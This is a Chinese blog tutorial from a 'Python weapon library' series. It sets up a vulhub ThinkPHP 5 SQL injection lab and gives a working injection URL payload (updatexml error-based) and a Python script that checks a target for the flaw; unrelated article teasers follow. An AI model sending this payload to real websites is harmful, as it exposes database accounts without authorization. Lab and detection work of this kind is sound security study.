Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)
Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:
docker-compose up -d

然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境

Thinkphp5 SQL注入漏洞原理
ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。
SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。
在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
Thinkphp5 SQL注入漏洞 POC
接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:
index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
我们像URL路径下添加POC就可以看到泄露的账户和密码:

Thinkphp5 SQL注入漏洞 POC编写
现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:
#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')response = requests.get(url=payload, verify=False)if 'XPATH syntax error' in response.text:print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':url = 'http://localhost:8083/'thinkphp5_sqli(url)
POC代码详细分析
这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requests和urllib.parse模块。然后,定义了一个名为thinkphp5_sqli的函数,该函数接收一个url参数。
函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中,使用了urljoin函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml函数来执行一些恶意的操作,比如获取当前用户。
然后,代码使用requests库发送一个GET请求,并将构造的payload作为url参数传递给请求。verify参数设置为False,表示不进行SSL验证。
最后,代码检查响应中是否包含了'XPATH syntax error'这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。
在if name == 'main':部分,代码定义了一个默认的url为'http://localhost:8083/',并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。
运行效果图
如下是我们这串代码的实际运行效果图:

相关文章:
Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)
Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六) 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 …...
2024.6.28刷题记录
目录 一、13. 罗马数字转整数 贪心 二、16. 最接近的三数之和 排序指针 三、17. 电话号码的字母组合 dfs(深度优先搜索) 四、19. 删除链表的倒数第 N 个结点 1.模拟 2.前后同步指针 五、20. 有效的括号 栈 六、21. 合并两个有序链表 1.递归 …...
柔性数组(flexible array)
柔性数组从C99开始支持使用 1.柔性数组的概念 概念: 结构体中,结构体最后一个元素允许是未知大小的数组,这就叫[柔性数组]的成员 struct S {int n;char arr[]; //数组大小未知(柔性数组成员) }; 柔性数组的特点: 结构体中柔性…...
服务器配置路由
translator 在Linux系统中,通过ip route add命令添加的路由规则通常不会永久保存,它们只会在当前会话中生效。当系统重新启动后,这些临时添加的路由规则会丢失。 要求在开关机之后仍然保留这条路由,需要将路由规则永久保存。在大多…...
老生常谈问题之什么是缓存穿透、缓存击穿、缓存雪崩?举个例子你就彻底懂了!!
老生常谈问题之什么是缓存穿透、缓存击穿、缓存雪崩?举个例子你就彻底懂了!! 缓存穿透发生场景解决方案 缓存击穿解决方案 缓存雪崩发生场景解决方案 总结三者区分三者原因三者解决方案 想象一下,你开了一家便利店,店里…...
[code snippet] 生成随机大文件
[code snippet] 生成随机大文件 一个无聊的测试代码,因为要测试大文件的网络传输,就写了一个随机大文件生成脚本,做个备份。 基本上都是 GPT 生成的,哈哈。 C# 代码 namespace ConsolePlayground;internal class BigFileGenera…...
计算机网路面试HTTP篇三
HTTPS RSA 握手解析 我前面讲,简单给大家介绍了的 HTTPS 握手过程,但是还不够细! 只讲了比较基础的部分,所以这次我们再来深入一下 HTTPS,用实战抓包的方式,带大家再来窥探一次 HTTPS。 对于还不知道对称…...
如何不改变 PostgreSQL 列类型#PG培训
开发应用程序并在其背后操作数据库集群时,会遇到一个意想不到的问题是实践与理论、开发环境与生产之间的差异。这种不匹配的一个完美例子就是更改列类型。 #PG考试#postgresql培训#postgresql考试#postgresql认证 关于如何在 PostgreSQL(以及其他符合 SQ…...
RocketMQ快速入门:事务消息原理及实现(十)
目录 0. 引言1. 原理2. 事务消息的实现2.1 java client实现(适用于spring框架)2.2 springboot实现 3. 总结 0. 引言 rocketmq 的一大特性就是支持事务性消息,这在诸多场景中有所应用。在之前的文章中我们已经讲解过事务消息的使用࿰…...
Kotlin设计模式:深入理解桥接模式
Kotlin设计模式:深入理解桥接模式 在软件开发中,随着系统需求的不断增长和变化,类的职责可能会变得越来越复杂,导致代码难以维护和扩展。桥接模式(Bridge Pattern)是一种结构型设计模式,它通过…...
常用MQ消息中间件Kafka、ZeroMQ和RabbitMQ对比及RabbitMQ详解
1、概述 在现代的分布式系统和实时数据处理领域,消息中间件扮演着关键的角色,用于解决应用程序之间的通信和数据传递的挑战。在众多的消息中间件解决方案中,Kafka、ZeroMQ和RabbitMQ 是备受关注和广泛应用的代表性系统。它们各自具有独特的特…...
【UE5.3】笔记6-第一个简单小游戏
打砖块小游戏: 1、制造一面砖块组成的墙 在关卡中放置一个cube,放这地面上,将其转换成蓝图类,改名BP_Cube,更换砖块的贴图,按住alt键进行拷贝,堆出一面墙,复制出来的会很多,全选移动…...
LeetCode---402周赛
题目列表 3184. 构成整天的下标对数目 I 3185. 构成整天的下标对数目 II 3186. 施咒的最大总伤害 3187. 数组中的峰值 一、构成整天的下标对数目 I & II 可以直接二重for循环暴力遍历出所有的下标对,然后统计符合条件的下标对数目返回。代码如下 class So…...
循环冗余校验
循环冗余校验(Cyclic Redundancy Check,简称CRC)是一种广泛使用的错误检测编码技术,用于检测数据在传输或存储过程中是否发生错误。CRC通过在数据后面添加一个校验值(通常称为CRC码或CRC校验和)来实现错误检…...
resample sensor
resample sensor 的一个问题。 背景: 项目要求,发送多个数据到 sensor-hal 上去,发现无论怎样,在 sensor-hal 上都 只有一个数据。 resample sensor 是重新采样,这个怎么理解的,我的理解是: 假设 sensor 采…...
【Linux】多线程的相关知识点
一、线程安全 1.1 可重入 VS 线程安全 1.1.1 概念 线程安全:多个线程并发执行同一段代码时,不会出现不同的结果。常见对全局变量或者静态变量进行操作,并且没有锁的保护的情况下,会出现问题。重入:同一个函数被不同…...
Java反射详解
Java反射 一.什么是反射 我们使用的一些像框架,tomcat,或者一些其他的组件(jackson 对象–>json)。他们可以做到给他什么类名,就可以创建给定类的对象,并调用该对象的方法和属性。这是如何做到的? 当他们加载我们…...
Spring Boot与Apache Kafka集成的深度指南
Spring Boot与Apache Kafka集成的深度指南 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿! 在现代分布式系统中,消息队列的作用愈发重要࿰…...
甄选版“论软件系统架构评估”,软考高级论文,系统架构设计师论文
论文真题 对于软件系统,尤其是大规模的复杂软件系统来说,软件的系统架构对于确保最终系统的质量具有十分重要的意义,不恰当的系统架构将给项目开发带来高昂的代价和难以避免的灾难。对一个系统架构进行评估,是为了:分析现有架构存在的潜在风险,检验设计中提出的质量需求,…...
uniapp开发企业微信内部应用
最近一直忙着开发项目,终于1.0版本开发完成,抽时间自己总结下在项目开发中遇到的技术点。此次项目属于自研产品,公司扩展业务,需要在企业微信中开发内部应用。因为工作中使用的是钉钉,很少使用企业微信,对于…...
ShapeOfView贡献指南:如何为开源项目添加新的自定义形状
ShapeOfView贡献指南:如何为开源项目添加新的自定义形状 【免费下载链接】ShapeOfView Give a custom shape to any android view, Material Design 2 ready 项目地址: https://gitcode.com/gh_mirrors/sh/ShapeOfView ShapeOfView是一款强大的Android开源库…...
VisionPro实战:CogGraphicCollection在工业检测中的5个高效用法(附代码)
VisionPro实战:CogGraphicCollection在工业检测中的5个高效用法(附代码) 在工业自动化领域,机器视觉系统正变得越来越智能和高效。作为康耐视VisionPro平台的核心组件之一,CogGraphicCollection为工程师提供了强大的图…...
提升开放平台开发效率,快马AI工具链自动化集成与测试
在企业级开放平台的开发过程中,效率往往是决定项目成败的关键因素之一。传统的开发流程中,开发者需要花费大量时间在重复性工作上,比如编写API客户端代码、配置测试环境、维护文档等。这些工作不仅耗时,还容易出错。今天我想分享一…...
PlayCover深度技术解析:如何在M系列Mac上实现iOS游戏原生运行体验
PlayCover深度技术解析:如何在M系列Mac上实现iOS游戏原生运行体验 【免费下载链接】PlayCover Community fork of PlayCover 项目地址: https://gitcode.com/gh_mirrors/pl/PlayCover PlayCover作为一款创新的开源工具,让Apple Silicon Mac用户能…...
制造业数据库选型实战:为什么我们从 MySQL 迁移到 TiDB
写在前面 作为一个制造业数字化团队的开发负责人,我最怕听到的一句话就是:“数据库又慢了”。 MOM 平台上线 4 年,数据量从最初的几百 G 涨到几个 T。每次月底报表、跨工厂查询,系统就开始”喘气”。加索引、拆表、优化 SQL………...
手搓STM32H743开源飞控系列教程---(五) 飞控IMU方向调整
1. 为什么需要调整飞控IMU方向 第一次玩飞控的朋友可能会遇到一个奇怪现象:明明把飞控板水平放在桌面上,地面站显示的姿态却歪了30度。这种情况十有八九是IMU安装方向与飞控默认设定不匹配导致的。我刚开始玩穿越机时就踩过这个坑,当时把飞控…...
TC3XX Autosar系统中文配置手册:包含19个模块的详细解析与联系指南
tc3xx autosar EB中文配置手册,需要联系。 一共有大约19个模块。 在汽车电子开发领域,TC3xx系列芯片AUTOSAR架构的组合越来越常见。最近研究EB(Elektrobit)配置工具时,发现其19个核心模块的配置逻辑其实藏着不少"…...
人工智能毕业设计2026方向集合
0 选题推荐 - 人工智能篇 毕业设计是大家学习生涯的最重要的里程碑,它不仅是对四年所学知识的综合运用,更是展示个人技术能力和创新思维的重要过程。选择一个合适的毕业设计题目至关重要,它应该既能体现你的专业能力,又能满足实际…...
利用快马ai快速生成流水线plc控制逻辑原型,无硬件也能验证思路
最近在做一个自动化流水线的小项目,需要设计PLC控制逻辑。传统方式需要先搭建硬件环境才能调试,但通过InsCode(快马)平台的AI辅助,我实现了无硬件环境下的快速原型验证,分享下这个实用经验。 项目背景与需求分析 这个流水线控制系…...
UReport2实战:如何优雅地导出多Sheet页报表(动态/静态分页全解析)
UReport2实战:如何优雅地导出多Sheet页报表(动态/静态分页全解析) 在数据驱动的商业环境中,报表导出功能已成为企业级应用的标配需求。当面对海量数据时,传统的单Sheet页Excel导出方案往往导致文件臃肿、查阅困难。URe…...
